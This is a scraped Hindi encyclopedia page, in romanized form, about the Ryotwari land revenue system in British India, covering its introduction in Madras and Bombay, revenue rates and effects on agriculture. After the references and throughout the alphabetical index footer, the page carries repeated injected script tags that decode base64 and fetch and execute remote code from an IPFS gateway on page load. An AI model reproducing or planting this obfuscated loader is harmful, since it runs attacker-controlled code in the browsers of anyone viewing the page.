रैयतवाड़ी व्यवस्था

raiyatava di vyavastha vyavastha mean pratyek panjikrit bhoomidar bhoomi ka svami hota tha, jo sarakar ko lagan dene ke lie uttaradayi hota tha. bhoomidar ke pas bhoomi ko rahane, rakhane v bechane ka adhikar hota tha.

bhoomi kar n dene ki sthiti mean bhoomidar ko, bhoosvamitv ke adhikar se vanchit hona p data tha.
is vyavastha ke aantargat sarakar ka raiyat se sidha sampark hota tha.
raiyatava di vyavastha ko madras tatha bambee (vartaman mumbee) evan asam ke adhikaansh bhagoan mean lagoo kiya gaya.
raiyatava di bhoomi kar vyavastha ko pahali bar 1792 ee. mean madras ke 'baramahal' zile mean lagoo kiya gaya.
t aaumas munaro jis samay madras ka gavarnar tha, us samay usane kul upaj ke tisare bhag ko bhoomi kar ka adhar manakar madras mean is vyavastha ko lagoo kiya.
madras mean yah vyavastha lagabhag 30 varshoan tak lagoo rahi.
is vyavastha mean sudhar ke aantargat 1855 ee. mean bhoomi ki paimaish tatha urvara shakti ke adhar par kul upaj ka 30% bhag lagan ke roop mean nirdharit kiya gaya, parantu 1864 ee. mean kampani sarakar ne bhoo-bhatak (bhoomi ka bha da, kiraya) ko 50% nishchit kar diya.
bambee mean 1835 ee. mean leftinent vinaget ke bhoomi sarvekshan ke adhar par "raiyatava di vyavastha" lagoo ki gee.
isamean bhoomi ki upaj ki adhi matra sarakari lagan ke roop mean nishchit ki gee.
kalantar mean ise 66% se 100% ke madhy tak badhaya gaya. parinamasvaroop dakkan mean 1879 ee. mean dakkan krishak rahat adhiniyam parit kiya gaya.
bambee ki raiyatava di paddhati adhik lagan evan lagan ki anishchitata jaise doshoan se yukt thi.
kisanoan ko is vyavastha mean adhik lagan lie jane ke viruddh nyayalay mean jane ki anumati nahian thi.
eest indiya kampani ki bhoomi kar ki is nee pranali ka parinam bharatiy arthavyavastha ke lie b da bhayanak raha.
dhire-dhire bharatiy gramin arthavyavastha evan bharatiy krishi ka roop badalane laga. ab utpadan ke aise sadhan prayog mean laye jane lage, jisamean dhan ki avashyakata p dati thi.
isase mudra arthavyavastha evan krishi ke vanijyikaran ko protsahan mila.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 242.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

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